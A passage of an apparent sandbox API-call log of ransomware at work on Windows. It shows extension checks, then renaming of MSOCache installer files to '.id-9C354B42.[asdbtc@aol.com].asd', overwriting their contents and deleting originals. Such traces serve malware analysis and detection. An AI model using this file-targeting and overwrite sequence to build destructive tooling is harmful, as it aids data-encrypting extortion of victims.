(lpString=".doc") returned 4 [0055.587] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.587] lstrlenW (lpString=".docx") returned 5 [0055.587] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0055.587] lstrlenW (lpString=".pdf") returned 4 [0055.587] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.587] lstrlenW (lpString=".xls") returned 4 [0055.587] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.587] lstrlenW (lpString=".xlsx") returned 5 [0055.587] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0055.587] lstrlenW (lpString=".ppt") returned 4 [0055.587] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.587] lstrlenW (lpString=".zip") returned 4 [0055.587] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.587] lstrlenW (lpString=".rar") returned 4 [0055.587] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.587] lstrlenW (lpString=".bz2") returned 4 [0055.587] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.587] lstrlenW (lpString=".7z") returned 3 [0055.587] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.588] lstrlenW (lpString=".dbf") returned 4 [0055.588] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.588] lstrlenW (lpString=".1cd") returned 4 [0055.588] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.588] lstrlenW (lpString=".jpg") returned 4 [0055.588] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.588] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0055.588] lstrlenW (lpString="Office32WW.msi") returned 14 [0055.588] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.589] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1992192) returned 1 [0055.589] CloseHandle (hObject=0x190) returned 1 [0055.589] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0055.589] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.589] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0055.589] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.590] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0x0) returned 1 [0055.590] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0055.590] ReadFile (in: hFile=0x190, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.594] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0055.594] ReadFile (in: hFile=0x190, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.602] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0055.602] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0055.602] ReadFile (in: hFile=0x190, lpBuffer=0x39f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39f0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.621] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.621] WriteFile (in: hFile=0x190, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2dbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0055.978] SetEndOfFile (hFile=0x190) returned 1 [0055.978] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x4005bf0 [0055.978] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0055.978] WriteFile (in: hFile=0x190, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.980] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0055.981] WriteFile (in: hFile=0x190, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.983] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0055.983] WriteFile (in: hFile=0x190, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.986] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4005bf0 | out: hHeap=0x510000) returned 1 [0055.986] CloseHandle (hObject=0x190) returned 1 [0055.986] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0055.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.989] lstrlenW (lpString=".doc") returned 4 [0055.989] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.989] lstrlenW (lpString=".docx") returned 5 [0055.989] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0055.989] lstrlenW (lpString=".pdf") returned 4 [0055.989] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.989] lstrlenW (lpString=".xls") returned 4 [0055.989] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.989] lstrlenW (lpString=".xlsx") returned 5 [0055.989] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0055.989] lstrlenW (lpString=".ppt") returned 4 [0055.989] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.990] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.990] lstrlenW (lpString=".zip") returned 4 [0055.990] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.990] lstrlenW (lpString=".rar") returned 4 [0055.990] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.990] lstrlenW (lpString=".bz2") returned 4 [0055.990] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.990] lstrlenW (lpString=".7z") returned 3 [0055.990] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.990] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.990] lstrlenW (lpString=".dbf") returned 4 [0055.990] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.990] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.990] lstrlenW (lpString=".1cd") returned 4 [0055.990] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.990] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.990] lstrlenW (lpString=".jpg") returned 4 [0055.990] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.990] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.990] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.990] lstrlenW (lpString=".doc") returned 4 [0055.990] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.990] lstrlenW (lpString=".docx") returned 5 [0055.990] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0055.990] lstrlenW (lpString=".pdf") returned 4 [0055.990] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.990] lstrlenW (lpString=".xls") returned 4 [0055.990] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.990] lstrlenW (lpString=".xlsx") returned 5 [0055.991] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0055.991] lstrlenW (lpString=".ppt") returned 4 [0055.991] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.991] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.991] lstrlenW (lpString=".zip") returned 4 [0055.991] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.991] lstrlenW (lpString=".rar") returned 4 [0055.991] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.991] lstrlenW (lpString=".bz2") returned 4 [0055.991] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.991] lstrlenW (lpString=".7z") returned 3 [0055.991] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.991] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.991] lstrlenW (lpString=".dbf") returned 4 [0055.991] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.991] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.991] lstrlenW (lpString=".1cd") returned 4 [0055.991] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.991] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.991] lstrlenW (lpString=".jpg") returned 4 [0055.991] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.991] lstrcmpiW (lpString1=".dll", lpString2=".asd") returned 1 [0055.991] lstrlenW (lpString="PidGenX.dll") returned 11 [0055.992] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.992] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1463568) returned 1 [0055.992] CloseHandle (hObject=0x190) returned 1 [0055.992] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0055.992] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.992] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.992] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.993] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.993] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.993] GetLastError () returned 0x0 [0055.993] ReadFile (in: hFile=0x190, lpBuffer=0x3970020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesRead=0x2dbfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0056.728] WriteFile (in: hFile=0x1f4, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0057.071] ReadFile (in: hFile=0x190, lpBuffer=0x3970020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesRead=0x2dbfed4*=0x65520, lpOverlapped=0x0) returned 1 [0057.088] WriteFile (in: hFile=0x1f4, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x65530, lpOverlapped=0x0) returned 1 [0057.400] ReadFile (in: hFile=0x190, lpBuffer=0x3970020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.400] WriteFile (in: hFile=0x1f4, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xea, lpOverlapped=0x0) returned 1 [0057.400] SetEndOfFile (hFile=0x1f4) returned 1 [0057.653] CloseHandle (hObject=0x1f4) returned 1 [0057.654] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.654] SetEndOfFile (hFile=0x190) returned 1 [0057.658] CloseHandle (hObject=0x190) returned 1 [0057.658] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0057.658] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0058.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.609] lstrlenW (lpString=".doc") returned 4 [0058.609] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0058.610] lstrlenW (lpString=".docx") returned 5 [0058.610] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0058.610] lstrlenW (lpString=".pdf") returned 4 [0058.610] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0058.610] lstrlenW (lpString=".xls") returned 4 [0058.610] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0058.610] lstrlenW (lpString=".xlsx") returned 5 [0058.610] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0058.610] lstrlenW (lpString=".ppt") returned 4 [0058.610] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0058.610] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.610] lstrlenW (lpString=".zip") returned 4 [0058.610] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0058.610] lstrlenW (lpString=".rar") returned 4 [0058.610] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0058.610] lstrlenW (lpString=".bz2") returned 4 [0058.610] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0058.610] lstrlenW (lpString=".7z") returned 3 [0058.610] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0058.610] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.610] lstrlenW (lpString=".dbf") returned 4 [0058.610] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0058.610] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.610] lstrlenW (lpString=".1cd") returned 4 [0058.610] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0058.610] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.610] lstrlenW (lpString=".jpg") returned 4 [0058.611] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0058.611] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.611] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.611] lstrlenW (lpString=".doc") returned 4 [0058.611] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0058.611] lstrlenW (lpString=".docx") returned 5 [0058.611] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0058.611] lstrlenW (lpString=".pdf") returned 4 [0058.611] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0058.611] lstrlenW (lpString=".xls") returned 4 [0058.611] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0058.611] lstrlenW (lpString=".xlsx") returned 5 [0058.611] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0058.611] lstrlenW (lpString=".ppt") returned 4 [0058.611] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0058.611] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.611] lstrlenW (lpString=".zip") returned 4 [0058.611] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0058.611] lstrlenW (lpString=".rar") returned 4 [0058.611] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0058.611] lstrlenW (lpString=".bz2") returned 4 [0058.611] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0058.611] lstrlenW (lpString=".7z") returned 3 [0058.611] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0058.611] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.611] lstrlenW (lpString=".dbf") returned 4 [0058.612] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0058.612] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.612] lstrlenW (lpString=".1cd") returned 4 [0058.612] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0058.612] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0058.612] lstrlenW (lpString=".jpg") returned 4 [0058.612] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0058.612] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0058.612] lstrlenW (lpString="Office32WW.msi") returned 14 [0058.612] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0058.613] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1992192) returned 1 [0058.614] CloseHandle (hObject=0x1f4) returned 1 [0058.614] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0058.614] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0058.614] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0058.615] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0058.615] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0x0) returned 1 [0058.615] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0058.615] ReadFile (in: hFile=0x1f4, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.620] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0058.620] ReadFile (in: hFile=0x1f4, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.627] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0058.627] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0058.627] ReadFile (in: hFile=0x1f4, lpBuffer=0x39f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39f0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.900] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.900] WriteFile (in: hFile=0x1f4, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2dbfcb0, lpOverlapped=0x0 | out: 